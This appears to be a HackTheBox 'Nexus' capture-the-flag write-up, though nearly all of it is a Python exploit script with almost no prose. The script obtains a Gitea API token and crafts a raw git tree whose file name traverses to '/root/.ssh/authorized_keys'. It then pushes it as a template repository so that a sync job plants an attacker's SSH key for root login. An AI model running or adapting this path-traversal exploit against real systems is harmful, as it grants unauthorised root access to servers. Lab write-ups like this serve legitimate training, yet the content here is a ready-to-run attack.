Nexus Writeup - HackTheBox

<a href="mailto:careers@nexus.htb">Apply at careers@nexus.htb</a>
<a href="mailto:j.matthew@nexus.htb">j.matthew@nexus.htb</a>

import hashlib
import json
import os
import shutil
import subprocess
import sys
import tempfile
import time
import zlib

import requests
from requests.auth import HTTPBasicAuth

GITEA     = "http://git.nexus.htb"
USER      = "jones"
PASS      = "$JONES_PASSWORD"         # update
REPO_NAME = "template-pwn"

PUBKEY    = "ssh-ed25519 <your_pubkey_here>"    # update with your public key
TRAVERSAL = "../../../../../root/.ssh/authorized_keys"


def api(method, path, token=None, **kwargs):
    headers = kwargs.pop("headers", {})
    if token:
        headers["Authorization"] = f"token {token}"
    headers["Content-Type"] = "application/json"
    r = requests.request(method, f"{GITEA}/api/v1{path}", headers=headers,
                         auth=HTTPBasicAuth(USER, PASS) if not token else None, **kwargs)
    return r


def write_git_object(git_dir, obj_type, data):
    header = f"{obj_type} {len(data)}\x00".encode()
    full   = header + data
    sha    = hashlib.sha1(full).hexdigest()
    obj_path = os.path.join(git_dir, "objects", sha[:2], sha[2:])
    os.makedirs(os.path.dirname(obj_path), exist_ok=True)
    if not os.path.exists(obj_path):
        with open(obj_path, "wb") as f:
            f.write(zlib.compress(full))
    return sha


def make_traversal_repo(workdir):
    subprocess.run(["git", "init", workdir], check=True, capture_output=True)
    subprocess.run(["git", "config", "user.email", "x@x.com"], cwd=workdir,
                   check=True, capture_output=True)
    subprocess.run(["git", "config", "user.name", "x"], cwd=workdir,
                   check=True, capture_output=True)

    git_dir  = os.path.join(workdir, ".git")
    blob_sha = write_git_object(git_dir, "blob", PUBKEY.encode())
    print(f"[+] blob: {blob_sha}")

    # git CLI would reject "../" in filenames — craft the tree object raw
    entry    = b"100600 " + TRAVERSAL.encode() + b"\x00" + bytes.fromhex(blob_sha)
    tree_sha = write_git_object(git_dir, "tree", entry)
    print(f"[+] tree: {tree_sha}")

    ts = int(time.time())
    commit_data = (
        f"tree {tree_sha}\n"
        f"author x <x@x.com> {ts} +0000\n"
        f"committer x <x@x.com> {ts} +0000\n\npwn\n"
    ).encode()
    commit_sha = write_git_object(git_dir, "commit", commit_data)
    print(f"[+] commit: {commit_sha}")

    refs_dir = os.path.join(git_dir, "refs", "heads")
    os.makedirs(refs_dir, exist_ok=True)
    with open(os.path.join(refs_dir, "main"), "w") as f:
        f.write(commit_sha + "\n")
    with open(os.path.join(git_dir, "HEAD"), "w") as f:
        f.write("ref: refs/heads/main\n")

    return commit_sha


def main():
    print("[*] getting api token...")
    r = api("POST", "/users/jones/tokens", json={
        "name": f"privesc-{int(time.time())}",
        "scopes": ["write:repository", "write:user", "read:user"],
    })
    if r.status_code not in (200, 201):
        print(f"[-] token failed: {r.status_code} {r.text}")
        sys.exit(1)
    token = r.json()["sha1"]
    print(f"[+] token: {token[:8]}...")

    api("DELETE", f"/repos/{USER}/{REPO_NAME}", token=token)
    time.sleep(0.5)

    print("[*] creating template repo...")
    r = api("POST", "/user/repos", token=token, json={
        "name": REPO_NAME, "description": "",
        "template": True, "private": False, "auto_init": False,
    })
    if r.status_code not in (200, 201):
        print(f"[-] repo creation failed: {r.status_code} {r.text}")
        sys.exit(1)
    print(f"[+] created {USER}/{REPO_NAME}")

    workdir = tempfile.mkdtemp(prefix="nexus-pwn-")
    try:
        print("[*] building malicious repo...")
        make_traversal_repo(workdir)
        remote = f"http://{USER}:{PASS}@git.nexus.htb/{USER}/{REPO_NAME}.git"
        print("[*] pushing...")
        result = subprocess.run(
            ["git", "push", remote, "main"],
            cwd=workdir, capture_output=True, text=True
        )
        if result.returncode != 0:
            print(f"[-] push failed:\n{result.stderr}")
            sys.exit(1)
        print("[+] pushed.")
    finally:
        shutil.rmtree(workdir, ignore_errors=True)

    print(f"\n[*] waiting for gitea-template-sync to fire...")
    print(f"ssh -i /path/to/private_key root@$DOMAIN")


if __name__ == "__main__":
    main()